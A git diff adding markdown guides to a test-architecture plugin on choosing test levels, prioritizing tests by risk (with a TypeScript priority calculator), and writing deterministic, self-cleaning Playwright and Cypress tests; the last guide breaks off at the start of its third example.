diff --git a/plugins/bmad/skills/bmad-testarch-nfr/resources/knowledge/test-levels-framework.md b/plugins/bmad/skills/bmad-testarch-nfr/resources/knowledge/test-levels-framework.md
new file mode 100644
index 0000000..ed3418a
--- /dev/null
+++ b/plugins/bmad/skills/bmad-testarch-nfr/resources/knowledge/test-levels-framework.md
@@ -0,0 +1,473 @@
+<!-- Powered by BMAD-CORE™ -->
+
+# Test Levels Framework
+
+Comprehensive guide for determining appropriate test levels (unit, integration, E2E) for different scenarios.
+
+## Test Level Decision Matrix
+
+### Unit Tests
+
+**When to use:**
+
+- Testing pure functions and business logic
+- Algorithm correctness
+- Input validation and data transformation
+- Error handling in isolated components
+- Complex calculations or state machines
+
+**Characteristics:**
+
+- Fast execution (immediate feedback)
+- No external dependencies (DB, API, file system)
+- Highly maintainable and stable
+- Easy to debug failures
+
+**Example scenarios:**
+
+```yaml
+unit_test:
+  component: 'PriceCalculator'
+  scenario: 'Calculate discount with multiple rules'
+  justification: 'Complex business logic with multiple branches'
+  mock_requirements: 'None - pure function'
+```
+
+### Integration Tests
+
+**When to use:**
+
+- Component interaction verification
+- Database operations and transactions
+- API endpoint contracts
+- Service-to-service communication
+- Middleware and interceptor behavior
+
+**Characteristics:**
+
+- Moderate execution time
+- Tests component boundaries
+- May use test databases or containers
+- Validates system integration points
+
+**Example scenarios:**
+
+```yaml
+integration_test:
+  components: ['UserService', 'AuthRepository']
+  scenario: 'Create user with role assignment'
+  justification: 'Critical data flow between service and persistence'
+  test_environment: 'In-memory database'
+```
+
+### End-to-End Tests
+
+**When to use:**
+
+- Critical user journeys
+- Cross-system workflows
+- Visual regression testing
+- Compliance and regulatory requirements
+- Final validation before release
+
+**Characteristics:**
+
+- Slower execution
+- Tests complete workflows
+- Requires full environment setup
+- Most realistic but most brittle
+
+**Example scenarios:**
+
+```yaml
+e2e_test:
+  journey: 'Complete checkout process'
+  scenario: 'User purchases with saved payment method'
+  justification: 'Revenue-critical path requiring full validation'
+  environment: 'Staging with test payment gateway'
+```
+
+## Test Level Selection Rules
+
+### Favor Unit Tests When:
+
+- Logic can be isolated
+- No side effects involved
+- Fast feedback needed
+- High cyclomatic complexity
+
+### Favor Integration Tests When:
+
+- Testing persistence layer
+- Validating service contracts
+- Testing middleware/interceptors
+- Component boundaries critical
+
+### Favor E2E Tests When:
+
+- User-facing critical paths
+- Multi-system interactions
+- Regulatory compliance scenarios
+- Visual regression important
+
+## Anti-patterns to Avoid
+
+- E2E testing for business logic validation
+- Unit testing framework behavior
+- Integration testing third-party libraries
+- Duplicate coverage across levels
+
+## Duplicate Coverage Guard
+
+**Before adding any test, check:**
+
+1. Is this already tested at a lower level?
+2. Can a unit test cover this instead of integration?
+3. Can an integration test cover this instead of E2E?
+
+**Coverage overlap is only acceptable when:**
+
+- Testing different aspects (unit: logic, integration: interaction, e2e: user experience)
+- Critical paths requiring defense in depth
+- Regression prevention for previously broken functionality
+
+## Test Naming Conventions
+
+- Unit: `test_{component}_{scenario}`
+- Integration: `test_{flow}_{interaction}`
+- E2E: `test_{journey}_{outcome}`
+
+## Test ID Format
+
+`{EPIC}.{STORY}-{LEVEL}-{SEQ}`
+
+Examples:
+
+- `1.3-UNIT-001`
+- `1.3-INT-002`
+- `1.3-E2E-001`
+
+## Real Code Examples
+
+### Example 1: E2E Test (Full User Journey)
+
+**Scenario**: User logs in, navigates to dashboard, and places an order.
+
+```typescript
+// tests/e2e/checkout-flow.spec.ts
+import { test, expect } from '@playwright/test';
+import { createUser, createProduct } from '../test-utils/factories';
+
+test.describe('Checkout Flow', () => {
+  test('user can complete purchase with saved payment method', async ({ page, apiRequest }) => {
+    // Setup: Seed data via API (fast!)
+    const user = createUser({ email: 'buyer@example.com', hasSavedCard: true });
+    const product = createProduct({ name: 'Widget', price: 29.99, stock: 10 });
+
+    await apiRequest.post('/api/users', { data: user });
+    await apiRequest.post('/api/products', { data: product });
+
+    // Network-first: Intercept BEFORE action
+    const loginPromise = page.waitForResponse('**/api/auth/login');
+    const cartPromise = page.waitForResponse('**/api/cart');
+    const orderPromise = page.waitForResponse('**/api/orders');
+
+    // Step 1: Login
+    await page.goto('/login');
+    await page.fill('[data-testid="email"]', user.email);
+    await page.fill('[data-testid="password"]', 'password123');
+    await page.click('[data-testid="login-button"]');
+    await loginPromise;
+
+    // Assert: Dashboard visible
+    await expect(page).toHaveURL('/dashboard');
+    await expect(page.getByText(`Welcome, ${user.name}`)).toBeVisible();
+
+    // Step 2: Add product to cart
+    await page.goto(`/products/${product.id}`);
+    await page.click('[data-testid="add-to-cart"]');
+    await cartPromise;
+    await expect(page.getByText('Added to cart')).toBeVisible();
+
+    // Step 3: Checkout with saved payment
+    await page.goto('/checkout');
+    await expect(page.getByText('Visa ending in 1234')).toBeVisible(); // Saved card
+    await page.click('[data-testid="use-saved-card"]');
+    await page.click('[data-testid="place-order"]');
+    await orderPromise;
+
+    // Assert: Order confirmation
+    await expect(page.getByText('Order Confirmed')).toBeVisible();
+    await expect(page.getByText(/Order #\d+/)).toBeVisible();
+    await expect(page.getByText('$29.99')).toBeVisible();
+  });
+});
+```
+
+**Key Points (E2E)**:
+
+- Tests complete user journey across multiple pages
+- API setup for data (fast), UI for assertions (user-centric)
+- Network-first interception to prevent flakiness
+- Validates critical revenue path end-to-end
+
+### Example 2: Integration Test (API/Service Layer)
+
+**Scenario**: UserService creates user and assigns role via AuthRepository.
+
+```typescript
+// tests/integration/user-service.spec.ts
+import { test, expect } from '@playwright/test';
+import { createUser } from '../test-utils/factories';
+
+test.describe('UserService Integration', () => {
+  test('should create user with admin role via API', async ({ request }) => {
+    const userData = createUser({ role: 'admin' });
+
+    // Direct API call (no UI)
+    const response = await request.post('/api/users', {
+      data: userData,
+    });
+
+    expect(response.status()).toBe(201);
+
+    const createdUser = await response.json();
+    expect(createdUser.id).toBeTruthy();
+    expect(createdUser.email).toBe(userData.email);
+    expect(createdUser.role).toBe('admin');
+
+    // Verify database state
+    const getResponse = await request.get(`/api/users/${createdUser.id}`);
+    expect(getResponse.status()).toBe(200);
+
+    const fetchedUser = await getResponse.json();
+    expect(fetchedUser.role).toBe('admin');
+    expect(fetchedUser.permissions).toContain('user:delete');
+    expect(fetchedUser.permissions).toContain('user:update');
+
+    // Cleanup
+    await request.delete(`/api/users/${createdUser.id}`);
+  });
+
+  test('should validate email uniqueness constraint', async ({ request }) => {
+    const userData = createUser({ email: 'duplicate@example.com' });
+
+    // Create first user
+    const response1 = await request.post('/api/users', { data: userData });
+    expect(response1.status()).toBe(201);
+
+    const user1 = await response1.json();
+
+    // Attempt duplicate email
+    const response2 = await request.post('/api/users', { data: userData });
+    expect(response2.status()).toBe(409); // Conflict
+    const error = await response2.json();
+    expect(error.message).toContain('Email already exists');
+
+    // Cleanup
+    await request.delete(`/api/users/${user1.id}`);
+  });
+});
+```
+
+**Key Points (Integration)**:
+
+- Tests service layer + database interaction
+- No UI involved—pure API validation
+- Business logic focus (role assignment, constraints)
+- Faster than E2E, more realistic than unit tests
+
+### Example 3: Component Test (Isolated UI Component)
+
+**Scenario**: Test button component in isolation with props and user interactions.
+
+```typescript
+// src/components/Button.cy.tsx (Cypress Component Test)
+import { Button } from './Button';
+
+describe('Button Component', () => {
+  it('should render with correct label', () => {
+    cy.mount(<Button label="Click Me" />);
+    cy.contains('Click Me').should('be.visible');
+  });
+
+  it('should call onClick handler when clicked', () => {
+    const onClickSpy = cy.stub().as('onClick');
+    cy.mount(<Button label="Submit" onClick={onClickSpy} />);
+
+    cy.get('button').click();
+    cy.get('@onClick').should('have.been.calledOnce');
+  });
+
+  it('should be disabled when disabled prop is true', () => {
+    cy.mount(<Button label="Disabled" disabled={true} />);
+    cy.get('button').should('be.disabled');
+    cy.get('button').should('have.attr', 'aria-disabled', 'true');
+  });
+
+  it('should show loading spinner when loading', () => {
+    cy.mount(<Button label="Loading" loading={true} />);
+    cy.get('[data-testid="spinner"]').should('be.visible');
+    cy.get('button').should('be.disabled');
+  });
+
+  it('should apply variant styles correctly', () => {
+    cy.mount(<Button label="Primary" variant="primary" />);
+    cy.get('button').should('have.class', 'btn-primary');
+
+    cy.mount(<Button label="Secondary" variant="secondary" />);
+    cy.get('button').should('have.class', 'btn-secondary');
+  });
+});
+
+// Playwright Component Test equivalent
+import { test, expect } from '@playwright/experimental-ct-react';
+import { Button } from './Button';
+
+test.describe('Button Component', () => {
+  test('should call onClick handler when clicked', async ({ mount }) => {
+    let clicked = false;
+    const component = await mount(
+      <Button label="Submit" onClick={() => { clicked = true; }} />
+    );
+
+    await component.getByRole('button').click();
+    expect(clicked).toBe(true);
+  });
+
+  test('should be disabled when loading', async ({ mount }) => {
+    const component = await mount(<Button label="Loading" loading={true} />);
+    await expect(component.getByRole('button')).toBeDisabled();
+    await expect(component.getByTestId('spinner')).toBeVisible();
+  });
+});
+```
+
+**Key Points (Component)**:
+
+- Tests UI component in isolation (no full app)
+- Props + user interactions + visual states
+- Faster than E2E, more realistic than unit tests for UI
+- Great for design system components
+
+### Example 4: Unit Test (Pure Function)
+
+**Scenario**: Test pure business logic function without framework dependencies.
+
+```typescript
+// src/utils/price-calculator.test.ts (Jest/Vitest)
+import { calculateDiscount, applyTaxes, calculateTotal } from './price-calculator';
+
+describe('PriceCalculator', () => {
+  describe('calculateDiscount', () => {
+    it('should apply percentage discount correctly', () => {
+      const result = calculateDiscount(100, { type: 'percentage', value: 20 });
+      expect(result).toBe(80);
+    });
+
+    it('should apply fixed amount discount correctly', () => {
+      const result = calculateDiscount(100, { type: 'fixed', value: 15 });
+      expect(result).toBe(85);
+    });
+
+    it('should not apply discount below zero', () => {
+      const result = calculateDiscount(10, { type: 'fixed', value: 20 });
+      expect(result).toBe(0);
+    });
+
+    it('should handle no discount', () => {
+      const result = calculateDiscount(100, { type: 'none', value: 0 });
+      expect(result).toBe(100);
+    });
+  });
+
+  describe('applyTaxes', () => {
+    it('should calculate tax correctly for US', () => {
+      const result = applyTaxes(100, { country: 'US', rate: 0.08 });
+      expect(result).toBe(108);
+    });
+
+    it('should calculate tax correctly for EU (VAT)', () => {
+      const result = applyTaxes(100, { country: 'DE', rate: 0.19 });
+      expect(result).toBe(119);
+    });
+
+    it('should handle zero tax rate', () => {
+      const result = applyTaxes(100, { country: 'US', rate: 0 });
+      expect(result).toBe(100);
+    });
+  });
+
+  describe('calculateTotal', () => {
+    it('should calculate total with discount and taxes', () => {
+      const items = [
+        { price: 50, quantity: 2 }, // 100
+        { price: 30, quantity: 1 }, // 30
+      ];
+      const discount = { type: 'percentage', value: 10 }; // -13
+      const tax = { country: 'US', rate: 0.08 }; // +9.36
+
+      const result = calculateTotal(items, discount, tax);
+      expect(result).toBeCloseTo(126.36, 2);
+    });
+
+    it('should handle empty items array', () => {
+      const result = calculateTotal([], { type: 'none', value: 0 }, { country: 'US', rate: 0 });
+      expect(result).toBe(0);
+    });
+
+    it('should calculate correctly without discount or tax', () => {
+      const items = [{ price: 25, quantity: 4 }];
+      const result = calculateTotal(items, { type: 'none', value: 0 }, { country: 'US', rate: 0 });
+      expect(result).toBe(100);
+    });
+  });
+});
+```
+
+**Key Points (Unit)**:
+
+- Pure function testing—no framework dependencies
+- Fast execution (milliseconds)
+- Edge case coverage (zero, negative, empty inputs)
+- High cyclomatic complexity handled at unit level
+
+## When to Use Which Level
+
+| Scenario               | Unit          | Integration       | E2E           |
+| ---------------------- | ------------- | ----------------- | ------------- |
+| Pure business logic    | ✅ Primary    | ❌ Overkill       | ❌ Overkill   |
+| Database operations    | ❌ Can't test | ✅ Primary        | ❌ Overkill   |
+| API contracts          | ❌ Can't test | ✅ Primary        | ⚠️ Supplement |
+| User journeys          | ❌ Can't test | ❌ Can't test     | ✅ Primary    |
+| Component props/events | ✅ Partial    | ⚠️ Component test | ❌ Overkill   |
+| Visual regression      | ❌ Can't test | ⚠️ Component test | ✅ Primary    |
+| Error handling (logic) | ✅ Primary    | ⚠️ Integration    | ❌ Overkill   |
+| Error handling (UI)    | ❌ Partial    | ⚠️ Component test | ✅ Primary    |
+
+## Anti-Pattern Examples
+
+**❌ BAD: E2E test for business logic**
+
+```typescript
+// DON'T DO THIS
+test('calculate discount via UI', async ({ page }) => {
+  await page.goto('/calculator');
+  await page.fill('[data-testid="price"]', '100');
+  await page.fill('[data-testid="discount"]', '20');
+  await page.click('[data-testid="calculate"]');
+  await expect(page.getByText('$80')).toBeVisible();
+});
+// Problem: Slow, brittle, tests logic that should be unit tested
+```
+
+**✅ GOOD: Unit test for business logic**
+
+```typescript
+test('calculate discount', () => {
+  expect(calculateDiscount(100, 20)).toBe(80);
+});
+// Fast, reliable, isolated
+```
+
+_Source: Murat Testing Philosophy (test pyramid), existing test-levels-framework.md structure._
diff --git a/plugins/bmad/skills/bmad-testarch-nfr/resources/knowledge/test-priorities-matrix.md b/plugins/bmad/skills/bmad-testarch-nfr/resources/knowledge/test-priorities-matrix.md
new file mode 100644
index 0000000..deb4306
--- /dev/null
+++ b/plugins/bmad/skills/bmad-testarch-nfr/resources/knowledge/test-priorities-matrix.md
@@ -0,0 +1,373 @@
+<!-- Powered by BMAD-CORE™ -->
+
+# Test Priorities Matrix
+
+Guide for prioritizing test scenarios based on risk, criticality, and business impact.
+
+## Priority Levels
+
+### P0 - Critical (Must Test)
+
+**Criteria:**
+
+- Revenue-impacting functionality
+- Security-critical paths
+- Data integrity operations
+- Regulatory compliance requirements
+- Previously broken functionality (regression prevention)
+
+**Examples:**
+
+- Payment processing
+- Authentication/authorization
+- User data creation/deletion
+- Financial calculations
+- GDPR/privacy compliance
+
+**Testing Requirements:**
+
+- Comprehensive coverage at all levels
+- Both happy and unhappy paths
+- Edge cases and error scenarios
+- Performance under load
+
+### P1 - High (Should Test)
+
+**Criteria:**
+
+- Core user journeys
+- Frequently used features
+- Features with complex logic
+- Integration points between systems
+- Features affecting user experience
+
+**Examples:**
+
+- User registration flow
+- Search functionality
+- Data import/export
+- Notification systems
+- Dashboard displays
+
+**Testing Requirements:**
+
+- Primary happy paths required
+- Key error scenarios
+- Critical edge cases
+- Basic performance validation
+
+### P2 - Medium (Nice to Test)
+
+**Criteria:**
+
+- Secondary features
+- Admin functionality
+- Reporting features
+- Configuration options
+- UI polish and aesthetics
+
+**Examples:**
+
+- Admin settings panels
+- Report generation
+- Theme customization
+- Help documentation
+- Analytics tracking
+
+**Testing Requirements:**
+
+- Happy path coverage
+- Basic error handling
+- Can defer edge cases
+
+### P3 - Low (Test if Time Permits)
+
+**Criteria:**
+
+- Rarely used features
+- Nice-to-have functionality
+- Cosmetic issues
+- Non-critical optimizations
+
+**Examples:**
+
+- Advanced preferences
+- Legacy feature support
+- Experimental features
+- Debug utilities
+
+**Testing Requirements:**
+
+- Smoke tests only
+- Can rely on manual testing
+- Document known limitations
+
+## Risk-Based Priority Adjustments
+
+### Increase Priority When:
+
+- High user impact (affects >50% of users)
+- High financial impact (>$10K potential loss)
+- Security vulnerability potential
+- Compliance/legal requirements
+- Customer-reported issues
+- Complex implementation (>500 LOC)
+- Multiple system dependencies
+
+### Decrease Priority When:
+
+- Feature flag protected
+- Gradual rollout planned
+- Strong monitoring in place
+- Easy rollback capability
+- Low usage metrics
+- Simple implementation
+- Well-isolated component
+
+## Test Coverage by Priority
+
+| Priority | Unit Coverage | Integration Coverage | E2E Coverage       |
+| -------- | ------------- | -------------------- | ------------------ |
+| P0       | >90%          | >80%                 | All critical paths |
+| P1       | >80%          | >60%                 | Main happy paths   |
+| P2       | >60%          | >40%                 | Smoke tests        |
+| P3       | Best effort   | Best effort          | Manual only        |
+
+## Priority Assignment Rules
+
+1. **Start with business impact** - What happens if this fails?
+2. **Consider probability** - How likely is failure?
+3. **Factor in detectability** - Would we know if it failed?
+4. **Account for recoverability** - Can we fix it quickly?
+
+## Priority Decision Tree
+
+```
+Is it revenue-critical?
+├─ YES → P0
+└─ NO → Does it affect core user journey?
+    ├─ YES → Is it high-risk?
+    │   ├─ YES → P0
+    │   └─ NO → P1
+    └─ NO → Is it frequently used?
+        ├─ YES → P1
+        └─ NO → Is it customer-facing?
+            ├─ YES → P2
+            └─ NO → P3
+```
+
+## Test Execution Order
+
+1. Execute P0 tests first (fail fast on critical issues)
+2. Execute P1 tests second (core functionality)
+3. Execute P2 tests if time permits
+4. P3 tests only in full regression cycles
+
+## Continuous Adjustment
+
+Review and adjust priorities based on:
+
+- Production incident patterns
+- User feedback and complaints
+- Usage analytics
+- Test failure history
+- Business priority changes
+
+---
+
+## Automated Priority Classification
+
+### Example: Priority Calculator (Risk-Based Automation)
+
+```typescript
+// src/testing/priority-calculator.ts
+
+export type Priority = 'P0' | 'P1' | 'P2' | 'P3';
+
+export type PriorityFactors = {
+  revenueImpact: 'critical' | 'high' | 'medium' | 'low' | 'none';
+  userImpact: 'all' | 'majority' | 'some' | 'few' | 'minimal';
+  securityRisk: boolean;
+  complianceRequired: boolean;
+  previousFailure: boolean;
+  complexity: 'high' | 'medium' | 'low';
+  usage: 'frequent' | 'regular' | 'occasional' | 'rare';
+};
+
+/**
+ * Calculate test priority based on multiple factors
+ * Mirrors the priority decision tree with objective criteria
+ */
+export function calculatePriority(factors: PriorityFactors): Priority {
+  const { revenueImpact, userImpact, securityRisk, complianceRequired, previousFailure, complexity, usage } = factors;
+
+  // P0: Revenue-critical, security, or compliance
+  if (revenueImpact === 'critical' || securityRisk || complianceRequired || (previousFailure && revenueImpact === 'high')) {
+    return 'P0';
+  }
+
+  // P0: High revenue + high complexity + frequent usage
+  if (revenueImpact === 'high' && complexity === 'high' && usage === 'frequent') {
+    return 'P0';
+  }
+
+  // P1: Core user journey (majority impacted + frequent usage)
+  if (userImpact === 'all' || userImpact === 'majority') {
+    if (usage === 'frequent' || complexity === 'high') {
+      return 'P1';
+    }
+  }
+
+  // P1: High revenue OR high complexity with regular usage
+  if ((revenueImpact === 'high' && usage === 'regular') || (complexity === 'high' && usage === 'frequent')) {
+    return 'P1';
+  }
+
+  // P2: Secondary features (some impact, occasional usage)
+  if (userImpact === 'some' || usage === 'occasional') {
+    return 'P2';
+  }
+
+  // P3: Rarely used, low impact
+  return 'P3';
+}
+
+/**
+ * Generate priority justification (for audit trail)
+ */
+export function justifyPriority(factors: PriorityFactors): string {
+  const priority = calculatePriority(factors);
+  const reasons: string[] = [];
+
+  if (factors.revenueImpact === 'critical') reasons.push('critical revenue impact');
+  if (factors.securityRisk) reasons.push('security-critical');
+  if (factors.complianceRequired) reasons.push('compliance requirement');
+  if (factors.previousFailure) reasons.push('regression prevention');
+  if (factors.userImpact === 'all' || factors.userImpact === 'majority') {
+    reasons.push(`impacts ${factors.userImpact} users`);
+  }
+  if (factors.complexity === 'high') reasons.push('high complexity');
+  if (factors.usage === 'frequent') reasons.push('frequently used');
+
+  return `${priority}: ${reasons.join(', ')}`;
+}
+
+/**
+ * Example: Payment scenario priority calculation
+ */
+const paymentScenario: PriorityFactors = {
+  revenueImpact: 'critical',
+  userImpact: 'all',
+  securityRisk: true,
+  complianceRequired: true,
+  previousFailure: false,
+  complexity: 'high',
+  usage: 'frequent',
+};
+
+console.log(calculatePriority(paymentScenario)); // 'P0'
+console.log(justifyPriority(paymentScenario));
+// 'P0: critical revenue impact, security-critical, compliance requirement, impacts all users, high complexity, frequently used'
+```
+
+### Example: Test Suite Tagging Strategy
+
+```typescript
+// tests/e2e/checkout.spec.ts
+import { test, expect } from '@playwright/test';
+
+// Tag tests with priority for selective execution
+test.describe('Checkout Flow', () => {
+  test('valid payment completes successfully @p0 @smoke @revenue', async ({ page }) => {
+    // P0: Revenue-critical happy path
+    await page.goto('/checkout');
+    await page.getByTestId('payment-method').selectOption('credit-card');
+    await page.getByTestId('card-number').fill('4242424242424242');
+    await page.getByRole('button', { name: 'Place Order' }).click();
+
+    await expect(page.getByText('Order confirmed')).toBeVisible();
+  });
+
+  test('expired card shows user-friendly error @p1 @error-handling', async ({ page }) => {
+    // P1: Core error scenario (frequent user impact)
+    await page.goto('/checkout');
+    await page.getByTestId('payment-method').selectOption('credit-card');
+    await page.getByTestId('card-number').fill('4000000000000069'); // Test card: expired
+    await page.getByRole('button', { name: 'Place Order' }).click();
+
+    await expect(page.getByText('Card expired. Please use a different card.')).toBeVisible();
+  });
+
+  test('coupon code applies discount correctly @p2', async ({ page }) => {
+    // P2: Secondary feature (nice-to-have)
+    await page.goto('/checkout');
+    await page.getByTestId('coupon-code').fill('SAVE10');
+    await page.getByRole('button', { name: 'Apply' }).click();
+
+    await expect(page.getByText('10% discount applied')).toBeVisible();
+  });
+
+  test('gift message formatting preserved @p3', async ({ page }) => {
+    // P3: Cosmetic feature (rarely used)
+    await page.goto('/checkout');
+    await page.getByTestId('gift-message').fill('Happy Birthday!\n\nWith love.');
+    await page.getByRole('button', { name: 'Place Order' }).click();
+
+    // Message formatting preserved (linebreaks intact)
+    await expect(page.getByTestId('order-summary')).toContainText('Happy Birthday!');
+  });
+});
+```
+
+**Run tests by priority:**
+
+```bash
+# P0 only (smoke tests, 2-5 min)
+npx playwright test --grep @p0
+
+# P0 + P1 (core functionality, 10-15 min)
+npx playwright test --grep "@p0|@p1"
+
+# Full regression (all priorities, 30+ min)
+npx playwright test
+```
+
+---
+
+## Integration with Risk Scoring
+
+Priority should align with risk score from `probability-impact.md`:
+
+| Risk Score | Typical Priority | Rationale                                  |
+| ---------- | ---------------- | ------------------------------------------ |
+| 9          | P0               | Critical blocker (probability=3, impact=3) |
+| 6-8        | P0 or P1         | High risk (requires mitigation)            |
+| 4-5        | P1 or P2         | Medium risk (monitor closely)              |
+| 1-3        | P2 or P3         | Low risk (document and defer)              |
+
+**Example**: Risk score 9 (checkout API failure) → P0 priority → comprehensive coverage required.
+
+---
+
+## Priority Checklist
+
+Before finalizing test priorities:
+
+- [ ] **Revenue impact assessed**: Payment, subscription, billing features → P0
+- [ ] **Security risks identified**: Auth, data exposure, injection attacks → P0
+- [ ] **Compliance requirements documented**: GDPR, PCI-DSS, SOC2 → P0
+- [ ] **User impact quantified**: >50% users → P0/P1, <10% → P2/P3
+- [ ] **Previous failures reviewed**: Regression prevention → increase priority
+- [ ] **Complexity evaluated**: >500 LOC or multiple dependencies → increase priority
+- [ ] **Usage metrics consulted**: Frequent use → P0/P1, rare use → P2/P3
+- [ ] **Monitoring coverage confirmed**: Strong monitoring → can decrease priority
+- [ ] **Rollback capability verified**: Easy rollback → can decrease priority
+- [ ] **Priorities tagged in tests**: @p0, @p1, @p2, @p3 for selective execution
+
+## Integration Points
+
+- **Used in workflows**: `*automate` (priority-based test generation), `*test-design` (scenario prioritization), `*trace` (coverage validation by priority)
+- **Related fragments**: `risk-governance.md` (risk scoring), `probability-impact.md` (impact assessment), `selective-testing.md` (tag-based execution)
+- **Tools**: Playwright/Cypress grep for tag filtering, CI scripts for priority-based execution
+
+_Source: Risk-based testing practices, test prioritization strategies, production incident analysis_
diff --git a/plugins/bmad/skills/bmad-testarch-nfr/resources/knowledge/test-quality.md b/plugins/bmad/skills/bmad-testarch-nfr/resources/knowledge/test-quality.md
new file mode 100644
index 0000000..ab62d91
--- /dev/null
+++ b/plugins/bmad/skills/bmad-testarch-nfr/resources/knowledge/test-quality.md
@@ -0,0 +1,664 @@
+# Test Quality Definition of Done
+
+## Principle
+
+Tests must be deterministic, isolated, explicit, focused, and fast. Every test should execute in under 1.5 minutes, contain fewer than 300 lines, avoid hard waits and conditionals, keep assertions visible in test bodies, and clean up after itself for parallel execution.
+
+## Rationale
+
+Quality tests provide reliable signal about application health. Flaky tests erode confidence and waste engineering time. Tests that use hard waits (`waitForTimeout(3000)`) are non-deterministic and slow. Tests with hidden assertions or conditional logic become unmaintainable. Large tests (>300 lines) are hard to understand and debug. Slow tests (>1.5 min) block CI pipelines. Self-cleaning tests prevent state pollution in parallel runs.
+
+## Pattern Examples
+
+### Example 1: Deterministic Test Pattern
+
+**Context**: When writing tests, eliminate all sources of non-determinism: hard waits, conditionals controlling flow, try-catch for flow control, and random data without seeds.
+
+**Implementation**:
+
+```typescript
+// ❌ BAD: Non-deterministic test with conditionals and hard waits
+test('user can view dashboard - FLAKY', async ({ page }) => {
+  await page.goto('/dashboard');
+  await page.waitForTimeout(3000); // NEVER - arbitrary wait
+
+  // Conditional flow control - test behavior varies
+  if (await page.locator('[data-testid="welcome-banner"]').isVisible()) {
+    await page.click('[data-testid="dismiss-banner"]');
+    await page.waitForTimeout(500);
+  }
+
+  // Try-catch for flow control - hides real issues
+  try {
+    await page.click('[data-testid="load-more"]');
+  } catch (e) {
+    // Silently continue - test passes even if button missing
+  }
+
+  // Random data without control
+  const randomEmail = `user${Math.random()}@example.com`;
+  await expect(page.getByText(randomEmail)).toBeVisible(); // Will fail randomly
+});
+
+// ✅ GOOD: Deterministic test with explicit waits
+test('user can view dashboard', async ({ page, apiRequest }) => {
+  const user = createUser({ email: 'test@example.com', hasSeenWelcome: true });
+
+  // Setup via API (fast, controlled)
+  await apiRequest.post('/api/users', { data: user });
+
+  // Network-first: Intercept BEFORE navigate
+  const dashboardPromise = page.waitForResponse((resp) => resp.url().includes('/api/dashboard') && resp.status() === 200);
+
+  await page.goto('/dashboard');
+
+  // Wait for actual response, not arbitrary time
+  const dashboardResponse = await dashboardPromise;
+  const dashboard = await dashboardResponse.json();
+
+  // Explicit assertions with controlled data
+  await expect(page.getByText(`Welcome, ${user.name}`)).toBeVisible();
+  await expect(page.getByTestId('dashboard-items')).toHaveCount(dashboard.items.length);
+
+  // No conditionals - test always executes same path
+  // No try-catch - failures bubble up clearly
+});
+
+// Cypress equivalent
+describe('Dashboard', () => {
+  it('should display user dashboard', () => {
+    const user = createUser({ email: 'test@example.com', hasSeenWelcome: true });
+
+    // Setup via task (fast, controlled)
+    cy.task('db:seed', { users: [user] });
+
+    // Network-first interception
+    cy.intercept('GET', '**/api/dashboard').as('getDashboard');
+
+    cy.visit('/dashboard');
+
+    // Deterministic wait for response
+    cy.wait('@getDashboard').then((interception) => {
+      const dashboard = interception.response.body;
+
+      // Explicit assertions
+      cy.contains(`Welcome, ${user.name}`).should('be.visible');
+      cy.get('[data-cy="dashboard-items"]').should('have.length', dashboard.items.length);
+    });
+  });
+});
+```
+
+**Key Points**:
+
+- Replace `waitForTimeout()` with `waitForResponse()` or element state checks
+- Never use if/else to control test flow - tests should be deterministic
+- Avoid try-catch for flow control - let failures bubble up clearly
+- Use factory functions with controlled data, not `Math.random()`
+- Network-first pattern prevents race conditions
+
+### Example 2: Isolated Test with Cleanup
+
+**Context**: When tests create data, they must clean up after themselves to prevent state pollution in parallel runs. Use fixture auto-cleanup or explicit teardown.
+
+**Implementation**:
+
+```typescript
+// ❌ BAD: Test leaves data behind, pollutes other tests
+test('admin can create user - POLLUTES STATE', async ({ page, apiRequest }) => {
+  await page.goto('/admin/users');
+
+  // Hardcoded email - collides in parallel runs
+  await page.fill('[data-testid="email"]', 'newuser@example.com');
+  await page.fill('[data-testid="name"]', 'New User');
+  await page.click('[data-testid="create-user"]');
+
+  await expect(page.getByText('User created')).toBeVisible();
+
+  // NO CLEANUP - user remains in database
+  // Next test run fails: "Email already exists"
+});
+
+// ✅ GOOD: Test cleans up with fixture auto-cleanup
+// playwright/support/fixtures/database-fixture.ts
+import { test as base } from '@playwright/test';
+import { deleteRecord, seedDatabase } from '../helpers/db-helpers';
+
+type DatabaseFixture = {
+  seedUser: (userData: Partial<User>) => Promise<User>;
+};
+
+export const test = base.extend<DatabaseFixture>({
+  seedUser: async ({}, use) => {
+    const createdUsers: string[] = [];
+
+    const seedUser = async (userData: Partial<User>) => {
+      const user = await seedDatabase('users', userData);
+      createdUsers.push(user.id); // Track for cleanup
+      return user;
+    };
+
+    await use(seedUser);
+
+    // Auto-cleanup: Delete all users created during test
+    for (const userId of createdUsers) {
+      await deleteRecord('users', userId);
+    }
+    createdUsers.length = 0;
+  },
+});
+
+// Use the fixture
+test('admin can create user', async ({ page, seedUser }) => {
+  // Create admin with unique data
+  const admin = await seedUser({
+    email: faker.internet.email(), // Unique each run
+    role: 'admin',
+  });
+
+  await page.goto('/admin/users');
+
+  const newUserEmail = faker.internet.email(); // Unique
+  await page.fill('[data-testid="email"]', newUserEmail);
+  await page.fill('[data-testid="name"]', 'New User');
+  await page.click('[data-testid="create-user"]');
+
+  await expect(page.getByText('User created')).toBeVisible();
+
+  // Verify in database
+  const createdUser = await seedUser({ email: newUserEmail });
+  expect(createdUser.email).toBe(newUserEmail);
+
+  // Auto-cleanup happens via fixture teardown
+});
+
+// Cypress equivalent with explicit cleanup
+describe('Admin User Management', () => {
+  const createdUserIds: string[] = [];
+
+  afterEach(() => {
+    // Cleanup: Delete all users created during test
+    createdUserIds.forEach((userId) => {
+      cy.task('db:delete', { table: 'users', id: userId });
+    });
+    createdUserIds.length = 0;
+  });
+
+  it('should create user', () => {
+    const admin = createUser({ role: 'admin' });
+    const newUser = createUser(); // Unique data via faker
+
+    cy.task('db:seed', { users: [admin] }).then((result: any) => {
+      createdUserIds.push(result.users[0].id);
+    });
+
+    cy.visit('/admin/users');
+    cy.get('[data-cy="email"]').type(newUser.email);
+    cy.get('[data-cy="name"]').type(newUser.name);
+    cy.get('[data-cy="create-user"]').click();
+
+    cy.contains('User created').should('be.visible');
+
+    // Track for cleanup
+    cy.task('db:findByEmail', newUser.email).then((user: any) => {
+      createdUserIds.push(user.id);
+    });
+  });
+});
+```
+
+**Key Points**:
+
+- Use fixtures with auto-cleanup via teardown (after `use()`)
+- Track all created resources in array during test execution
+- Use `faker` for unique data - prevents parallel collisions
+- Cypress: Use `afterEach()` with explicit cleanup
+- Never hardcode IDs or emails - always generate unique values
+
+### Example 3: Explicit Assertions in Tests
+
